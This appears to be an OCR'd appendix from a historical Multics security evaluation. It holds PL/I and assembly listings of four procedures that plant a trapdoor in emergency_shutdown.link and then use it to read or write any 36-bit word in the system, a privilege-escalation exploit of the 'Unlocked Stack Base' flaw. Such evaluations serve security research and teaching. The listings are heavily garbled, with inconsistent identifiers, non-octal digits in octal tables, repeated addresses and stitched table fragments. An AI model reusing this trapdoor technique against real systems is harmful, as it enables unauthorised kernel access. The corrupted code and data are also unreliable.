<tr>
<td>000414</td>
<td>aa</td>
<td>004163</td>
<td>144 142</td>
</tr>
<tr>
<td>000415</td>
<td>aa</td>
<td>162 000</td>
<td>000 00</td>
</tr>
<tr>
<td>000416</td>
<td>3a</td>
<td>000050</td>
<td>00000</td>
</tr>
<tr>
<td>000417</td>
<td>2a</td>
<td>000100</td>
<td>00000</td>
</tr>
<tr>
<td>000420</td>
<td>aa</td>
<td>004154</td>
<td>144 142</td>
</tr>
<tr>
<td>000421</td>
<td>aa</td>
<td>162 000</td>
<td>000 00</td>
</tr>
<tr>
<td>000422</td>
<td>5a</td>
<td>000052</td>
<td>00000</td>
</tr>
<tr>
<td>000423</td>
<td>2a</td>
<td>000072</td>
<td>00000</td>
</tr>
<tr>
<td>000424</td>
<td>aa</td>
<td>003154</td>
<td>144 164</td>
</tr>
<tr>
<td>000425</td>
<td>5a</td>
<td>000056</td>
<td>00000</td>
</tr>
<tr>
<td>000426</td>
<td>2a</td>
<td>000064</td>
<td>00000</td>
</tr>
<tr>
<td>000427</td>
<td>aa</td>
<td>003163</td>
<td>143 165</td>
</tr>
<tr>
<td>000430</td>
<td>5a</td>
<td>000061</td>
<td>00000</td>
</tr>
<tr>
<td>000431</td>
<td>2a</td>
<td>000056</td>
<td>00000</td>
</tr>
<tr>
<td>000432</td>
<td>aa</td>
<td>003143</td>
<td>141 155</td>
</tr>
<tr>
<td>000433</td>
<td>5a</td>
<td>000065</td>
<td>00000</td>
</tr>
<tr>
<td>000434</td>
<td>2a</td>
<td>000050</td>
<td>00000</td>
</tr>
<tr>
<td>000435</td>
<td>aa</td>
<td>087 151</td>
<td>144 137</td>
</tr>
<tr>
<td>000436</td>
<td>aa</td>
<td>151 151</td>
<td>164 164</td>
</tr>
<tr>
<td>000437</td>
<td>5a</td>
<td>000072</td>
<td>00000</td>
</tr>
<tr>
<td>000440</td>
<td>2a</td>
<td>000042</td>
<td>00000</td>
</tr>
<tr>
<td>000441</td>
<td>aa</td>
<td>012 170</td>
<td>145 144</td>
</tr>
<tr>
<td>000442</td>
<td>aa</td>
<td>137 163</td>
<td>164 157</td>
</tr>
<tr>
<td>Address</td>
<td>Value 1</td>
<td>Value 2</td>
<td>Value 3</td>
</tr>
<tr>
<td>---------</td>
<td>---------</td>
<td>---------</td>
<td>---------</td>
</tr>
<tr>
<td>000165</td>
<td>000000</td>
<td>000000</td>
<td></td>
</tr>
<tr>
<td>000166</td>
<td>3a</td>
<td>777512</td>
<td>3700</td>
</tr>
<tr>
<td>000167</td>
<td>La</td>
<td>000003</td>
<td>0540</td>
</tr>
<tr>
<td>000170</td>
<td>0a</td>
<td>000140</td>
<td>6270</td>
</tr>
<tr>
<td>000171</td>
<td>La</td>
<td>777667</td>
<td>7100</td>
</tr>
<tr>
<td>000172</td>
<td>aa</td>
<td>000000</td>
<td>000000</td>
</tr>
<tr>
<td>000173</td>
<td>aa</td>
<td>000000</td>
<td>000000</td>
</tr>
<tr>
<td>000174</td>
<td>3a</td>
<td>777604</td>
<td>3700</td>
</tr>
<tr>
<td>000175</td>
<td>La</td>
<td>000003</td>
<td>0540</td>
</tr>
<tr>
<td>000176</td>
<td>0a</td>
<td>000150</td>
<td>6270</td>
</tr>
<tr>
<td>000177</td>
<td>La</td>
<td>777611</td>
<td>7100</td>
</tr>
<tr>
<td>000200</td>
<td>aa</td>
<td>000000</td>
<td>000000</td>
</tr>
<tr>
<td>000201</td>
<td>aa</td>
<td>000000</td>
<td>000000</td>
</tr>
<tr>
<td>000202</td>
<td>9a</td>
<td>777576</td>
<td>0000</td>
</tr>
<tr>
<td>000203</td>
<td>5a</td>
<td>000154</td>
<td>0000</td>
</tr>
</tbody>
</table>

sys_infolclock
<table>
<thead>
<tr>
<th>SYMBOL INFORMATION</th>
</tr>
</thead>
<tbody>
<tr>
<td>SYMBOL TABLE HEADER</td>
</tr>
<tr>
<td>000000 000000 001001</td>
</tr>
<tr>
<td>000001 240000 000033</td>
</tr>
<tr>
<td>000002 000000 01045</td>
</tr>
<tr>
<td>000003 240000 000427</td>
</tr>
<tr>
<td>000004 000000 101452</td>
</tr>
<tr>
<td>000005 141711 677671</td>
</tr>
<tr>
<td>000006 000000 101561</td>
</tr>
<tr>
<td>000007 720122 210541</td>
</tr>
<tr>
<td>000010 000000 000000</td>
</tr>
<tr>
<td>000011 000000 000000</td>
</tr>
<tr>
<td>000012 000000 000000</td>
</tr>
<tr>
<td>000013 000530 003204</td>
</tr>
<tr>
<td>000014 000000 001474</td>
</tr>
<tr>
<td>000015 240000 000440</td>
</tr>
<tr>
<td>000016 003141 154155</td>
</tr>
<tr>
<td>000017 037101 144115</td>
</tr>
<tr>
<td>000020 040126 145162</td>
</tr>
<tr>
<td>000021 163151 157156</td>
</tr>
<tr>
<td>000022 060064 096064</td>
</tr>
<tr>
<td>000023 054040 123145</td>
</tr>
<tr>
<td>000024 150164 145155</td>
</tr>
<tr>
<td>000025 142145 152040</td>
</tr>
<tr>
<td>000026 061071 067063</td>
</tr>
<tr>
<td>000027 163165 142166</td>
</tr>
<tr>
<td>000030 040040 040040</td>
</tr>
<tr>
<td>000031 040040 040040</td>
</tr>
<tr>
<td>000032 040040 040040</td>
</tr>
<tr>
<td>000033 040040 040040</td>
</tr>
<tr>
<td>000034 040040 040040</td>
</tr>
<tr>
<td>000035 040040 040040</td>
</tr>
<tr>
<td>000036 040040 040040</td>
</tr>
<tr>
<td>Value</td>
</tr>
<tr>
<td>-------</td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td>330</td>
</tr>
<tr>
<td>50</td>
</tr>
<tr>
<td>171</td>
</tr>
<tr>
<td>306</td>
</tr>
<tr>
<td>0</td>
</tr>
<tr>
<td>50</td>
</tr>
<tr>
<td>70</td>
</tr>
<tr>
<td>60</td>
</tr>
<tr>
<td>254</td>
</tr>
<tr>
<td>240</td>
</tr>
<tr>
<td>110</td>
</tr>
<tr>
<td>120</td>
</tr>
<tr>
<td>130</td>
</tr>
<tr>
<td>30</td>
</tr>
<tr>
<td>20</td>
</tr>
<tr>
<td>267</td>
</tr>
<tr>
<td>160</td>
</tr>
<tr>
<td>150</td>
</tr>
<tr>
<td>140</td>
</tr>
<tr>
<td>60</td>
</tr>
<tr>
<td>177</td>
</tr>
<tr>
<td>70</td>
</tr>
<tr>
<td>51</td>
</tr>
<tr>
<td>5</td>
</tr>
<tr>
<td>18</td>
</tr>
<tr>
<td>40</td>
</tr>
<tr>
<td>100</td>
</tr>
<tr>
<td>110</td>
</tr>
<tr>
<td>2</td>
</tr>
<tr>
<td>331</td>
</tr>
<tr>
<td>261</td>
</tr>
<tr>
<td>212</td>
</tr>
<tr>
<td>262</td>
</tr>
<tr>
<td>266</td>
</tr>
<tr>
<td>224</td>
</tr>
<tr>
<td>264</td>
</tr>
</tbody>
</table>

FATAL ERRORS ENCOUNTERED
APPENDIX B

Unlocked Stack Base Listing

This appendix contains listings of the four modules which make up the code needed to exploit the Unlocked Stack Base Vulnerability described in Section 3.3.3. The first two procedures, di and dia, implement step one of the vulnerability — inserting code into emergency_shutdown.link (referred to in the listings as esd.link.) The last two procedures, fi and fia, implement step two of the vulnerability — actually using the inserted code to read or write any 36 bit quantity in the system. Figure 9 in the main text corresponds to di and dia. Figure 10 corresponds to fi and fia. As in Appendix A, obsolete 645 instructions are flagged by the assembler.
/* Procedure to place trapdoor in emergency_shutdown.link */

declare
ring$get$_segptr entry (char (*), char (*), ptr, fixed bin),
sp ptr,
    code fixed bin,
    com_err_ entry options (variable),
    i fixed bin,
    li entry (ptr, bit (36) aligned),
dia entry (ptr, ptr),
mvoffset fixed bin int static init (296),            /* offset within emergency_shutdown.link at which to patch */
    mwp ptr;
call ring0_get$_segptr ("", "signaller", sp, code); /* get segment number of signaller */
    if code "= 0 then
        do;
            error
            call com_err_ (code, "di");
        return;
    end;
call ring0_get$_segptr ("", "emergency_shutdown.link", mwp, code); /* get segment number of emergency_shutdown.link */
    if code "= 0 then go to error;
    call dia (sp, addrel (mwp, mvoffset));        /* call ams program to finish */
do i = mvoffset to mvoffset+11, mvoffset+14 to mvoffset+23; /* zero out all but 2 instruction patch */
call fl (addrel (mwp, i), "0"b);                  /* other words were filled from registers */
end;
NAMES DECLARED IN THIS-compilation.

<table>
<thead>
<tr>
<th>IDENTIFIER</th>
<th>OFFSET</th>
<th>LOC STORAGE CLASS</th>
<th>DATA TYPE</th>
<th>ATTRIBUTES AND REFERENCES</th>
</tr>
</thead>
<tbody>
<tr>
<td>code</td>
<td>000102</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
<td>dcl 6 set ref 15 16 18 22 23</td>
</tr>
<tr>
<td>cos_err_</td>
<td>000014</td>
<td>constant</td>
<td>entry</td>
<td>external dcl 6 ref 18</td>
</tr>
<tr>
<td>dia</td>
<td>000020</td>
<td>constant</td>
<td>entry</td>
<td>external dcl 6 ref 25</td>
</tr>
<tr>
<td>fi</td>
<td>000016</td>
<td>constant</td>
<td>entry</td>
<td>external dcl 6 ref 27</td>
</tr>
<tr>
<td>i</td>
<td>000103</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
<td>dcl 6 set ref 26 27 27</td>
</tr>
<tr>
<td>mvoffset</td>
<td>000104</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
<td>initial dcl 6 ref 25 25 26 26 26 26</td>
</tr>
<tr>
<td>mvp</td>
<td>000012</td>
<td>constant</td>
<td>pointer</td>
<td>dcl 6 set ref 22 25 25 27 27</td>
</tr>
<tr>
<td>ring0_get_$_s$gptr</td>
<td>0000160</td>
<td>automatic</td>
<td>entry</td>
<td>external dcl 6 ref 15 22</td>
</tr>
<tr>
<td>sp</td>
<td>000081</td>
<td>constant</td>
<td>pointer</td>
<td>dcl 6 set ref 15 25</td>
</tr>
</tbody>
</table>

NAMES DECLARED BY EXPLICIT CONTEXT.

di          | 000020 constant | entry       | external dcl 1 ref 1 |
error       | 000061 constant | label       | dcl 18 ref 18 23     |

NAME DECLARED BY CONTEXT OR IMPLICATION.

STORAGE REQUIREMENTS FOR THIS PROGRAM.

<table>
<thead>
<tr>
<th>Object</th>
<th>Text</th>
<th>Link</th>
<th>Symbol</th>
<th>Defs</th>
<th>Static</th>
</tr>
</thead>
<tbody>
<tr>
<td>Start</td>
<td>0</td>
<td>0</td>
<td>270</td>
<td>32</td>
<td>220</td>
</tr>
<tr>
<td>Length</td>
<td>454</td>
<td>220</td>
<td>22</td>
<td>22</td>
<td>50</td>
</tr>
</tbody>
</table>

External procedure di uses 110 words of automatic storage.

THE FOLLOWING EXTERNAL OPERATORS ARE USED BY THIS PROGRAM.

<table>
<thead>
<tr>
<th>call_ext_out_desc</th>
<th>call_ext_out</th>
<th>return</th>
<th>ext_entry</th>
<th>rpd_loop_i_lp_bp</th>
</tr>
</thead>
</table>

THE FOLLOWING EXTERNAL ENTRIES ARE CALLED BY THIS PROGRAM.

cos_err_ | dia | fi  | ring0_get_$_s$gptr |

NO EXTERNAL VARIABLES ARE USED BY THIS PROGRAM.

```
<table>
<thead>
<tr>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>000017</td>
<td>15</td>
<td>000025</td>
<td>16</td>
<td>000057</td>
<td>18</td>
<td>000101</td>
<td>20</td>
<td>000100</td>
<td>22</td>
<td>000101</td>
</tr>
<tr>
<td>25</td>
<td>000134</td>
<td>26</td>
<td>000150</td>
<td>27</td>
<td>000161</td>
<td>28</td>
<td>000200</td>
<td>29</td>
<td>000217</td>
<td>23</td>
<td>000132</td>
</tr>
</tbody>
</table>
```
<table>
<thead>
<tr>
<th>Line</th>
<th>Address</th>
<th>Instruction</th>
<th>Comment</th>
</tr>
</thead>
<tbody>
<tr>
<td>0000</td>
<td>aa 6 00022 3521 20</td>
<td>beq xed_inst</td>
<td>instructions in AQ</td>
</tr>
<tr>
<td>0001</td>
<td>ee 2 0020 6521 00</td>
<td>entry dia</td>
<td></td>
</tr>
<tr>
<td>0002</td>
<td>ee 2 00060 3521 00</td>
<td>entry dia</td>
<td></td>
</tr>
<tr>
<td>0003</td>
<td>ee 2 77742 2521 00</td>
<td>entry dia</td>
<td></td>
</tr>
<tr>
<td>0004</td>
<td>ee 2 77720 3331 00</td>
<td>entry dia</td>
<td></td>
</tr>
<tr>
<td>0005</td>
<td>ee 6 00032 2501 00</td>
<td>entry dia</td>
<td></td>
</tr>
<tr>
<td>0006</td>
<td>ee 0 00030 2370 00</td>
<td>entry dia</td>
<td></td>
</tr>
<tr>
<td>C 0007</td>
<td>ee 0 00023 3520 00</td>
<td>entry dia</td>
<td></td>
</tr>
<tr>
<td>C 0008</td>
<td>ee 6 00050 2521 00</td>
<td>entry dia</td>
<td></td>
</tr>
<tr>
<td>C 0009</td>
<td>ee 6 00036 3701 00</td>
<td>entry dia</td>
<td></td>
</tr>
<tr>
<td>C 000A</td>
<td>ee 0 0004 3521 20</td>
<td>entry dia</td>
<td></td>
</tr>
<tr>
<td>C 000B</td>
<td>ee 2 00000 3521 20</td>
<td>entry dia</td>
<td></td>
</tr>
<tr>
<td>C 000C</td>
<td>ee 6 00052 2521 00</td>
<td>entry dia</td>
<td></td>
</tr>
<tr>
<td>C 000D</td>
<td>ee 0 00002 3521 20</td>
<td>entry dia</td>
<td></td>
</tr>
<tr>
<td>C 000E</td>
<td>ee 2 0000 3521 20</td>
<td>entry dia</td>
<td></td>
</tr>
<tr>
<td>C 000F</td>
<td>ee 6 0000 3521 20</td>
<td>entry dia</td>
<td></td>
</tr>
<tr>
<td>C 0010</td>
<td>ee 6 00052 3721 20</td>
<td>entry dia</td>
<td></td>
</tr>
<tr>
<td>C 0011</td>
<td>ee 0 00052 3721 20</td>
<td>entry dia</td>
<td></td>
</tr>
<tr>
<td>C 0012</td>
<td>ee 777777 6200 00</td>
<td>entry dia</td>
<td></td>
</tr>
<tr>
<td>C 0013</td>
<td>ee 0 00000 7101 00</td>
<td>entry dia</td>
<td></td>
</tr>
<tr>
<td>C 0014</td>
<td>ee 2 00000 3721 00</td>
<td>entry dia</td>
<td></td>
</tr>
<tr>
<td>C 0015</td>
<td>ee 6 00020 1731 20</td>
<td>entry dia</td>
<td></td>
</tr>
<tr>
<td>C 0016</td>
<td>ee 6 00010 0731 00</td>
<td>entry dia</td>
<td></td>
</tr>
<tr>
<td>C 0017</td>
<td>ee 6 00024 6101 00</td>
<td>entry dia</td>
<td></td>
</tr>
</tbody>
</table>

NO LITERALS
NAME DEFINITIONS FOR ENTRY POINTS AND SEGDEFS

000002 5a 000003 000000 000032 5a 000004 000000 000033 2a 000005 00001 000034 3a 003 154 151 141 000035 5a 000011 000000 000036 6a 000000 000002 000037 3a 014 163 171 155 000040 3a 142 157 154 137 000041 3a 164 141 142 154 000042 3a 145 000 000 000 000043 5a 000016 000000 000044 6a 000037 000002 000045 3a 010 162 149 154 000046 3a 137 164 149 170 000047 3a 164 000 000 000 000050 5a 000023 000000

000052 3a 010 162 145 154 000053 3a 137 154 151 156 000054 3a 153 000 000 000 000055 3a 000030 000000

000057 3a 012 162 145 154 000060 3a 137 163 171 155 000061 3a 142 157 154 000 000062 3a 000000 000000

NO EXTERNAL NAMES
NO TRAP POINTER WORDS
TYPE PAIR BLOCKS

000063 3a 000001 000000 000064 3a 000000 000000

INTERNAL EXPRESSION WORDS

000065 3a 000031 000000
<table>
<thead>
<tr>
<th>LINKAGE INFORMATION</th>
</tr>
</thead>
<tbody>
<tr>
<td>000000  aa  000000  000000</td>
</tr>
<tr>
<td>000001  3a  000032  000000</td>
</tr>
<tr>
<td>000002  aa  000000  000000</td>
</tr>
<tr>
<td>000003  aa  000000  000000</td>
</tr>
<tr>
<td>000004  aa  000000  000000</td>
</tr>
<tr>
<td>000005  aa  000000  000000</td>
</tr>
<tr>
<td>000006  2a  000010  000020</td>
</tr>
<tr>
<td>000007  2a  000000  000020</td>
</tr>
<tr>
<td>000010  3a  777770  0000  46</td>
</tr>
<tr>
<td>000011  5a  000033  0000  17</td>
</tr>
<tr>
<td>000012  3a  777766  3700  04</td>
</tr>
<tr>
<td>000013  4a  000009  0540  04</td>
</tr>
<tr>
<td>000014  0a  000000  6270  00</td>
</tr>
<tr>
<td>000015  2a  777773  7100  24</td>
</tr>
<tr>
<td>000016  2a  000000  000000</td>
</tr>
<tr>
<td>000017  2a  000000  000000</td>
</tr>
</tbody>
</table>

*text!*

(entry_sequence)
<table>
<thead>
<tr>
<th>Value</th>
<th>Symbol</th>
<th>Source file</th>
<th>Line number</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>*text</td>
<td>dial</td>
<td>2,</td>
</tr>
<tr>
<td>0</td>
<td>dia</td>
<td>dial</td>
<td>2, 4,</td>
</tr>
<tr>
<td>52</td>
<td>do_it_ptr</td>
<td>dial</td>
<td>3, 11, 15,</td>
</tr>
<tr>
<td>23</td>
<td>return_inst</td>
<td>dial</td>
<td>6, 18,</td>
</tr>
<tr>
<td>30</td>
<td>return_pointer</td>
<td>dial</td>
<td>3, 7, 8,</td>
</tr>
<tr>
<td>30</td>
<td>xed_inst</td>
<td>dial</td>
<td>5, 24,</td>
</tr>
</tbody>
</table>

NO FATAL ERRORS
COMPILATION LISTING OF SEGMENT fl
Compiled on: 04/10/74 1840.9 edt Wed
Options: map

1     item
2           proc (fixp, word);
3
4       /* Entry to store 36 bits */
5
6       declare
7         ring0_get_ssegptr entry (char (*), char (*), ptr, fixed bin),
8         moffset fixed bin int static init (296),
9         ( sp, mwp)
10        ptr,
11        code fixed bin,
12        fixp ptr,
13        word bit (36) aligned,
14        fia entry (ptr, ptr, ptr, bit (36) aligned),
15        com_err_ entry options (variable),
16        flaggia entry (ptr, ptr, ptr, bit (36) aligned),
17        fix bit (1) aligned;
18        fix = "i"b;
19        go to common;
20
21
22
23     git
24     entry (fixp, word);
25
26     fix = "s"b;
27
28     common
29     call ring0_get_ssegptr ("", "signaller", sp, code); /* get segment number of signaller */
30     if code ^= 8 then
31          do;
32     end;
33     error:
34        call com_err_ (code, "fl");
35        return;
36     end;
37     call ring0_get_ssegptr ("", "emergency_shutdown.link", mwp, code); /* get segment number of emergency_shutdown */
38     if code ^= 0 then go to error;
39     if fix then call fia (sp, addrl (mwp, moffset+12), fixp, word); /* call aim program to finish */
40     else call flaggia (sp, addrl (mwp, moffset+12), fixp, word);
41     end;
**Names Declared in This Compilation.**

<table>
<thead>
<tr>
<th>Identifier</th>
<th>Offset</th>
<th>Loc</th>
<th>Storage Class</th>
<th>Data Type</th>
<th>Attributes and References</th>
</tr>
</thead>
<tbody>
<tr>
<td>code</td>
<td>000004</td>
<td></td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
<td>dcl 7 set ref 28 30 32 36 37</td>
</tr>
<tr>
<td>com_err</td>
<td>000006</td>
<td></td>
<td>constant</td>
<td>entry</td>
<td>external dcl 7 set ref 32</td>
</tr>
<tr>
<td>fia</td>
<td>000004</td>
<td></td>
<td>constant</td>
<td>entry</td>
<td>external dcl 7 set ref 38</td>
</tr>
<tr>
<td>fia$gla</td>
<td>000020</td>
<td></td>
<td>constant</td>
<td>entry</td>
<td>external dcl 7 set ref 39</td>
</tr>
<tr>
<td>fix</td>
<td>000105</td>
<td></td>
<td>automatic</td>
<td>bit(1)</td>
<td>dcl 7 set ref 19 26 38</td>
</tr>
<tr>
<td>fixp</td>
<td></td>
<td></td>
<td>parameter</td>
<td>pointer</td>
<td>dcl 7 set ref 12 3 38 39</td>
</tr>
<tr>
<td>mwoffset</td>
<td></td>
<td></td>
<td>constant</td>
<td>pointer</td>
<td>initial dcl 7 set ref 38 39 39 39</td>
</tr>
<tr>
<td>mvp</td>
<td>000102</td>
<td></td>
<td>automatic</td>
<td>pointer</td>
<td>dcl 7 set ref 36 38 39 39 39</td>
</tr>
<tr>
<td>ring0_get$ss$gptr</td>
<td>000012</td>
<td></td>
<td>constant</td>
<td>pointer</td>
<td>external dcl 7 set ref 36 38 39 39</td>
</tr>
<tr>
<td>sp</td>
<td>000100</td>
<td></td>
<td>automatic</td>
<td>pointer</td>
<td>dcl 7 set ref 26 38 39</td>
</tr>
<tr>
<td>word</td>
<td></td>
<td></td>
<td>parameter</td>
<td>bit(36)</td>
<td>dcl 7 7 set ref 123 38 39</td>
</tr>
</tbody>
</table>

**Names Declared by Explicit Context.**

<table>
<thead>
<tr>
<th>Identifier</th>
<th>Offset</th>
<th>Loc</th>
<th>Data Type</th>
<th>Attributes and References</th>
</tr>
</thead>
<tbody>
<tr>
<td>common</td>
<td>000004</td>
<td></td>
<td>constant</td>
<td>label</td>
</tr>
<tr>
<td>error</td>
<td>000006</td>
<td></td>
<td>constant</td>
<td>label</td>
</tr>
<tr>
<td>fia</td>
<td>000021</td>
<td></td>
<td>constant</td>
<td>label</td>
</tr>
<tr>
<td>gl</td>
<td>000032</td>
<td></td>
<td>constant</td>
<td>label</td>
</tr>
</tbody>
</table>

**Names Declared by Context or Implication.**

<table>
<thead>
<tr>
<th>Identifier</th>
<th>Offset</th>
<th>Loc</th>
<th>Storage Type</th>
<th>Attributes and References</th>
</tr>
</thead>
<tbody>
<tr>
<td>addr</td>
<td></td>
<td></td>
<td></td>
<td>internal ref 38 38 39 39</td>
</tr>
</tbody>
</table>

**Storage Requirements for This Program.**

<table>
<thead>
<tr>
<th>Object</th>
<th>Text</th>
<th>Link</th>
<th>Symbol</th>
<th>Defs</th>
<th>Static</th>
</tr>
</thead>
<tbody>
<tr>
<td>Start</td>
<td>0</td>
<td>0</td>
<td>304</td>
<td>326</td>
<td>224</td>
</tr>
<tr>
<td>Length</td>
<td>470</td>
<td>224</td>
<td>22</td>
<td>130</td>
<td>60</td>
</tr>
</tbody>
</table>

External procedure fia uses 114 words of automatic storage.

The following external operators are used by this program:
- call_ext_out_desc
- call_ext_out
- return
- ext_entry

The following external entries are called by this program:
- com_err
- fia
- fia$gla
- ring0_get$ss$gptr

No external variables are used by this program.

**Line LOC**

<table>
<thead>
<tr>
<th>Line</th>
<th>LOC</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>000020</td>
</tr>
<tr>
<td>32</td>
<td>000076</td>
</tr>
</tbody>
</table>

**Line LOC**

<table>
<thead>
<tr>
<th>Line</th>
<th>LOC</th>
</tr>
</thead>
<tbody>
<tr>
<td>17</td>
<td>000026</td>
</tr>
<tr>
<td>20</td>
<td>000030</td>
</tr>
<tr>
<td>23</td>
<td>000031</td>
</tr>
<tr>
<td>26</td>
<td>000037</td>
</tr>
<tr>
<td>28</td>
<td>000040</td>
</tr>
<tr>
<td>30</td>
<td>000074</td>
</tr>
<tr>
<td>34</td>
<td>000115</td>
</tr>
<tr>
<td>36</td>
<td>000116</td>
</tr>
<tr>
<td>37</td>
<td>000152</td>
</tr>
<tr>
<td>38</td>
<td>000154</td>
</tr>
<tr>
<td>39</td>
<td>000201</td>
</tr>
<tr>
<td>40</td>
<td>000223</td>
</tr>
</tbody>
</table>
ASSEMBLY LISTING OF SEGMENT

ASSEMBLED ON: 04/11/74 1826.0 EDT Thu
OPTIONS USED: list old_object old_call symbols
ASSEMBLED BY: ALM Version 4.4, September 1973
ASSEMBLER CREATED: 02/13/74 1728.8 EDT Wed

000000 000000 1 name fia
000000 000031 2 entry fia
000000 000031 3 entry gia

5 tempd tr_p, fixp, wordp
6 temp word

000080 mm 6 00022 3521 20 7 fia: push "entry to store 36 bits"
000080 mm 2 00020 6521 00 8 eapbp api0,* "36 bits to be stored"
000080 mm 2 00060 3521 00 9 ldq bpl0
000080 mm 6 00056 7561 00 10 stq word
000080 mm 0 00006 3521 20 11 eapbp api0,* "ptr to where to store"
000080 mm 2 00000 3521 20 12 eapbp api0,* "ptr to trapdoor in esd.link"
000080 mm 2 00000 3521 20 13 stpbp fixp "signaller does trapi10,*"
000080 mm 2 00000 3521 20 14 eapbp api0,* "ptr to instructions to xed"
000080 mm 2 00000 3521 20 15 eapbp api0,* "ptr to signaler"
000080 mm 6 00050 6501 00 16 stpbb tr_p "transfer to signaler"
000080 mm 5 00036 3701 00 17 eapbp tr_p-10 "trapdoor xed's these"
000080 mm 0 00024 3520 10 18 eapbp ldq_stg "load 36 bits to patch"
000080 mm 0 00002 3501 20 19 eapbp api2,* "store 36 bits thru ptr"
000080 mm 777777 6280 00 20 eapbp -1 "trapdoor does trapi210, *and returns here"

21 trm api0,*
22 even
23 inhibit on
24 inhibit off
25 ldq_stg ldq word
26 stq fixp,*
27 return

000080 mm 6 00020 6521 00 28 return
000080 mm 2 00060 3521 00 29 "entry to read out 36 bits"
000080 mm 2 777777 6280 00

000031 -000022 3521 20 31 gia: push
000031 -000022 3521 20

30

C 000037 mm 6 00032 3521 20 32 eapbp api0,* "ptr to output argument"
C 000040 mm 6 00054 2521 20 33 stpbb wordp "ptr to where to read"
C 000041 mm 0 00006 3521 20 34 eapbp api0,* "ptr to trapdoor in esd.link"
C 000042 mm 2 00000 3521 20 35 eapbp api0,* "signaller does trapi10,*"
C 000043 mm 6 00052 2521 20 36 stpbb fixp "ptr to instructions to xed"
C 000044 mm 0 00004 3701 20 37 eapbp api0,* "ptr to instructions to xed"
C 000045 mm 2 00000 3701 20 38 eapbp api0,* "ptr to instructions to xed"
C 000046 mm 6 00050 6501 00 39 stpbb tr_p "ptr to trapdoor in esd.link"
C 000047 mm 6 00036 3701 00 40 eapbb tr_p-10 "signaller does trapi10,*"
<table>
<thead>
<tr>
<th>Address</th>
<th>Instruction</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>000052</td>
<td>777777 6200 00</td>
<td>exa0 -1</td>
</tr>
<tr>
<td>000053</td>
<td>0 00000 7101 20</td>
<td>tra &amp;p10,*</td>
</tr>
<tr>
<td>000054</td>
<td></td>
<td>even</td>
</tr>
<tr>
<td>000054</td>
<td></td>
<td>inhibit on</td>
</tr>
<tr>
<td>000054</td>
<td>6 00052 2363 20</td>
<td>ldq_stq_in_arg1</td>
</tr>
<tr>
<td>000055</td>
<td>6 00054 7563 20</td>
<td>ldq fixp,*</td>
</tr>
<tr>
<td>000056</td>
<td>6 00020 1731 20</td>
<td>stq wordp,*</td>
</tr>
<tr>
<td>000056</td>
<td></td>
<td>inhibit off</td>
</tr>
<tr>
<td>000057</td>
<td>6 00010 0731 00</td>
<td>return</td>
</tr>
<tr>
<td>000060</td>
<td>6 00024 6101 00</td>
<td>end</td>
</tr>
</tbody>
</table>

NO LITERALS

"Transfer to signaller"

"Load thru ptr"

"Trapdoor xed's these"

"Store in output argument"

"Trapdoor does tra bpl2"

"And returns here"
NAME DEFINITIONS FOR ENTRY POINTS AND SEGDEFS

<table>
<thead>
<tr>
<th>Address</th>
<th>Symbol</th>
</tr>
</thead>
<tbody>
<tr>
<td>000062</td>
<td>gia</td>
</tr>
<tr>
<td>000063</td>
<td>fia</td>
</tr>
<tr>
<td>000064</td>
<td>symbol_table</td>
</tr>
<tr>
<td>000066</td>
<td></td>
</tr>
<tr>
<td>000067</td>
<td></td>
</tr>
<tr>
<td>000070</td>
<td></td>
</tr>
<tr>
<td>000071</td>
<td></td>
</tr>
<tr>
<td>000072</td>
<td></td>
</tr>
<tr>
<td>000073</td>
<td></td>
</tr>
<tr>
<td>000074</td>
<td></td>
</tr>
<tr>
<td>000075</td>
<td></td>
</tr>
<tr>
<td>000076</td>
<td></td>
</tr>
<tr>
<td>000077</td>
<td></td>
</tr>
<tr>
<td>000100</td>
<td>rel_text</td>
</tr>
<tr>
<td>000101</td>
<td></td>
</tr>
<tr>
<td>000102</td>
<td></td>
</tr>
<tr>
<td>000103</td>
<td></td>
</tr>
<tr>
<td>000105</td>
<td>rel_link</td>
</tr>
<tr>
<td>000106</td>
<td></td>
</tr>
<tr>
<td>000107</td>
<td></td>
</tr>
<tr>
<td>000110</td>
<td></td>
</tr>
<tr>
<td>000112</td>
<td>rel_symbol</td>
</tr>
<tr>
<td>000113</td>
<td></td>
</tr>
<tr>
<td>000114</td>
<td></td>
</tr>
<tr>
<td>000115</td>
<td></td>
</tr>
</tbody>
</table>

NO EXTERNAL NAMES

NO TRAP POINTER WORDS

TYPE PAIR BLOCKS

<table>
<thead>
<tr>
<th>Address</th>
<th>Symbol</th>
</tr>
</thead>
<tbody>
<tr>
<td>000116</td>
<td></td>
</tr>
<tr>
<td>000117</td>
<td></td>
</tr>
</tbody>
</table>

INTERNAL EXPRESSION WORDS

<table>
<thead>
<tr>
<th>Address</th>
<th>Symbol</th>
</tr>
</thead>
<tbody>
<tr>
<td>000120</td>
<td></td>
</tr>
<tr>
<td>000121</td>
<td></td>
</tr>
</tbody>
</table>
SYMBOL INFORMATION

SYMBOL TABLE HEADER

000000 000000 001001
000001 240000 000033
000002 000000 001045
000003 240000 000027
000004 000000 101452
000005 141711 067671
000006 000000 101561
000007 720061 637647
000010 000000 000000
000011 000000 000002
000012 000000 000000
000013 000122 000026
000014 000000 001474
000015 240000 000040
000016 003141 154155
000017 037101 114115
000020 046126 145162
000021 163151 157156
000022 040064 056064
000023 054040 123145
000024 160164 145155
000029 142145 162040
000026 061871 067063
000027 146151 141040
000030 040040 040040
000031 040040 040040
000032 040040 040040
000033 040040 040040
000034 040040 040040
000035 040040 040040
000036 040040 040040
MULTICS ASSEMBLY CROSS REFERENCE LISTING

<table>
<thead>
<tr>
<th>Value</th>
<th>Symbol</th>
<th>Source file</th>
<th>Line number</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>text</td>
<td>flat</td>
<td>2, 3</td>
</tr>
<tr>
<td>9</td>
<td>fia</td>
